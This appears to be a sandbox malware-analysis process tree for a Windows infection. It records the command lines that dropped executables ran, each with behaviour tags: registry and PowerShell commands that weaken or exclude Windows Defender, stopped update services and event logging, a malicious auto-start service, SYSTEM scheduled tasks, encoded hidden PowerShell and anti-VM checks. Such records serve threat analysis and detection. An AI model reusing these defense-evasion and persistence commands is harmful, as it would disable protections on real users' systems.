"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
10⤵
PID:2344

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
11⤵
PID:2868

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
12⤵
PID:2876

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
13⤵
PID:2072

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
11⤵
PID:1040

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
12⤵
PID:2312

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
13⤵
PID:2016

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
11⤵
PID:3060

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
12⤵
PID:616

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
13⤵
PID:2076

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
11⤵
PID:3872

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
12⤵
PID:2552

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
13⤵
PID:2404

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
11⤵
PID:2568

C:\Windows\SysWOW64\cmd.exe
/C powershell start-process -WindowStyle Hidden gpupdate.exe /force
12⤵
PID:2620

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell start-process -WindowStyle Hidden gpupdate.exe /force
13⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2640

C:\Windows\SysWOW64\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
14⤵
PID:2308

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
10⤵
PID:2644

C:\Windows\SysWOW64\cmd.exe
/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
11⤵
PID:3808

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
12⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3824

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
13⤵
- Suspicious use of AdjustPrivilegeToken
PID:4052

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "bRfJDuKmNsszhfPRJj" /SC once /ST 22:37:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\jcNPDucfvtURBvcZF\KNGeknwcwbxZLbh\FSTSZuX.exe\" oU /XXwdidvp 385119 /S" /V1 /F
10⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:3884

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "bRfJDuKmNsszhfPRJj"
10⤵
PID:3696

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 684 -s 512
10⤵
- Program crash
PID:3920

C:\Users\Admin\AppData\Local\Temp\1000006001\FirstZ.exe
"C:\Users\Admin\AppData\Local\Temp\1000006001\FirstZ.exe"
7⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:2912

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
8⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:4120

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
8⤵
PID:4220

C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
9⤵
- Drops file in Windows directory
PID:4284

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop UsoSvc
8⤵
- Launches sc.exe
PID:4228

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop WaaSMedicSvc
8⤵
- Launches sc.exe
PID:4264

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop wuauserv
8⤵
- Launches sc.exe
PID:4296

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop bits
8⤵
- Launches sc.exe
PID:4320

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop dosvc
8⤵
- Launches sc.exe
PID:4368

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
8⤵
- Power Settings
PID:4400

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
8⤵
- Power Settings
PID:4408

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
8⤵
- Power Settings
PID:4416

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
8⤵
- Power Settings
PID:4424

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe delete "WSNKISKT"
8⤵
- Launches sc.exe
PID:4432

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe create "WSNKISKT" binpath= "C:\ProgramData\wikombernizc\reakuqnanrkn.exe" start= "auto"
8⤵
- Launches sc.exe
PID:4520

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop eventlog
8⤵
- Launches sc.exe
PID:4548

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe start "WSNKISKT"
8⤵
- Launches sc.exe
PID:4556

C:\Users\Admin\AppData\Local\Temp\1000009001\setup.exe
"C:\Users\Admin\AppData\Local\Temp\1000009001\setup.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2800

C:\Users\Admin\AppData\Local\Temp\7zSEBD5.tmp\Install.exe
.\Install.exe
8⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1400

C:\Users\Admin\AppData\Local\Temp\7zSEDE8.tmp\Install.exe
.\Install.exe /Rdprdidxe "385134" /S
9⤵
- Checks BIOS information in registry
- Executes dropped EXE
- Loads dropped DLL
- Enumerates system info in registry
PID:1312

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
10⤵
PID:2256

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
11⤵
PID:1752

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
12⤵
PID:2224

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
13⤵
PID:3080

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
11⤵
PID:1664

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
12⤵
PID:1872

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
13⤵
PID:2748

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
11⤵
PID:2060

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
12⤵
PID:1256

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
13⤵
PID:4064

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
11⤵
PID:3236

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
12⤵
PID:3172

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
13⤵
PID:3128

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
11⤵
PID:1828

C:\Windows\SysWOW64\cmd.exe
/C powershell start-process -WindowStyle Hidden gpupdate.exe /force
12⤵
PID:4072

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell start-process -WindowStyle Hidden gpupdate.exe /force
13⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3252

C:\Windows\SysWOW64\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
14⤵
PID:3392

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
10⤵
PID:1784

C:\Windows\SysWOW64\cmd.exe
/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
11⤵
PID:2444

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
12⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2152

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
13⤵
- Suspicious use of AdjustPrivilegeToken
PID:3872

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "bRfJDuKmNsszhfPRJj" /SC once /ST 22:38:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\jcNPDucfvtURBvcZF\KNGeknwcwbxZLbh\VMJlLvi.exe\" oU /mXNdidqo 385134 /S" /V1 /F
10⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:1816

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "bRfJDuKmNsszhfPRJj"
10⤵
PID:3760

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1312 -s 620
10⤵
- Program crash
PID:1840

C:\Users\Admin\AppData\Local\Temp\1000070001\monster.exe
"C:\Users\Admin\AppData\Local\Temp\1000070001\monster.exe"
5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1804

C:\Users\Admin\AppData\Local\Temp\onefile_1804_133633966014890000\stub.exe
"C:\Users\Admin\AppData\Local\Temp\1000070001\monster.exe"
6⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1588

C:\Users\Admin\AppData\Local\Temp\1000075001\legs.exe
"C:\Users\Admin\AppData\Local\Temp\1000075001\legs.exe"
5⤵
- Executes dropped EXE
PID:3936

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3936 -s 64
6⤵
- Loads dropped DLL
- Program crash
PID:4000

C:\Users\Admin\AppData\Local\Temp\1000082001\quickaccesspopup.exe
"C:\Users\Admin\AppData\Local\Temp\1000082001\quickaccesspopup.exe"
5⤵
- Executes dropped EXE
PID:308

C:\Users\Admin\AppData\Local\Temp\1000087001\chromedriver.exe
"C:\Users\Admin\AppData\Local\Temp\1000087001\chromedriver.exe"
5⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
PID:2708

C:\Users\Admin\AppData\Local\Temp\1000087001\chromedriver.exe
"C:\Users\Admin\AppData\Local\Temp\1000087001\chromedriver.exe"
6⤵
- Executes dropped EXE
- Drops file in Windows directory
PID:1752

C:\Users\Admin\AppData\Local\Temp\1000088001\spain.exe
"C:\Users\Admin\AppData\Local\Temp\1000088001\spain.exe"
5⤵
- Executes dropped EXE
PID:3868

C:\Users\Admin\AppData\Local\Temp\1000088001\spain.exe
"C:\Users\Admin\AppData\Local\Temp\1000088001\spain.exe"
6⤵
- Executes dropped EXE
PID:624

C:\Users\Admin\AppData\Local\Temp\1000016001\bfbff0d2bf.exe
"C:\Users\Admin\AppData\Local\Temp\1000016001\bfbff0d2bf.exe"
3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:1556

C:\Users\Admin\AppData\Local\Temp\1000017001\7ead6cc984.exe
"C:\Users\Admin\AppData\Local\Temp\1000017001\7ead6cc984.exe"
3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1520

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account
4⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2896

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef6719758,0x7fef6719768,0x7fef6719778
5⤵
PID:3028

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1148 --field-trial-handle=1280,i,8094791209567615982,1018191595214888692,131072 /prefetch:2
5⤵
PID:2828

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1496 --field-trial-handle=1280,i,8094791209567615982,1018191595214888692,131072 /prefetch:8
5⤵
PID:2860

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1596 --field-trial-handle=1280,i,8094791209567615982,1018191595214888692,131072 /prefetch:8
5⤵
PID:1960

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2280 --field-trial-handle=1280,i,8094791209567615982,1018191595214888692,131072 /prefetch:1
5⤵
PID:1000

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2288 --field-trial-handle=1280,i,8094791209567615982,1018191595214888692,131072 /prefetch:1
5⤵
PID:540

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=2980 --field-trial-handle=1280,i,8094791209567615982,1018191595214888692,131072 /prefetch:1
5⤵
PID:856

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1092 --field-trial-handle=1280,i,8094791209567615982,1018191595214888692,131072 /prefetch:2
5⤵
PID:3024

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --mojo-platform-channel-handle=2500 --field-trial-handle=1280,i,8094791209567615982,1018191595214888692,131072 /prefetch:1
5⤵
PID:560

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=1416 --field-trial-handle=1280,i,8094791209567615982,1018191595214888692,131072 /prefetch:8
5⤵
PID:1412

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3780 --field-trial-handle=1280,i,8094791209567615982,1018191595214888692,131072 /prefetch:8
5⤵
PID:3176

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
1⤵
PID:1504

C:\ProgramData\wikombernizc\reakuqnanrkn.exe
C:\ProgramData\wikombernizc\reakuqnanrkn.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:4592

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4600

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
2⤵
PID:4664

C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
3⤵
- Drops file in Windows directory
PID:4708

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop UsoSvc
2⤵
- Launches sc.exe
PID:4672

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop WaaSMedicSvc
2⤵
- Launches sc.exe
PID:4716

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop wuauserv
2⤵
- Launches sc.exe
PID:4760

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop bits
2⤵
- Launches sc.exe
PID:4788

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop dosvc
2⤵
- Launches sc.exe
PID:4812

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
2⤵
- Power Settings
PID:4836

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
2⤵
- Power Settings
PID:4844

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
2⤵
- Power Settings
PID:4852

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
2⤵
- Power Settings
PID:4860

C:\Windows\system32\conhost.exe
C:\Windows\system32\conhost.exe
2⤵
PID:4868

C:\Windows\explorer.exe
explorer.exe
2⤵
- Modifies data under HKEY_USERS
PID:4920

C:\Windows\system32\taskeng.exe
taskeng.exe {D23CB1AC-1610-4B2C-A30B-7D601C0C993B} S-1-5-21-2297530677-1229052932-2803917579-1000:HKULBIBU\Admin:Interactive:[1]
1⤵
PID:2564

C:\ProgramData\gbam\cjems.exe
C:\ProgramData\gbam\cjems.exe
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1784

C:\ProgramData\gbam\cjems.exe
"C:\ProgramData\gbam\cjems.exe"
3⤵
- Executes dropped EXE
PID:2832

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
PID:2148

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:2860

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
PID:4112

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:3160

C:\ProgramData\gbam\cjems.exe
C:\ProgramData\gbam\cjems.exe
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4504

C:\ProgramData\gbam\cjems.exe
"C:\ProgramData\gbam\cjems.exe"
3⤵
- Executes dropped EXE
PID:384

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
PID:1600

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:3140

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
PID:752

C:\Windows\system32\gpupdate.exe
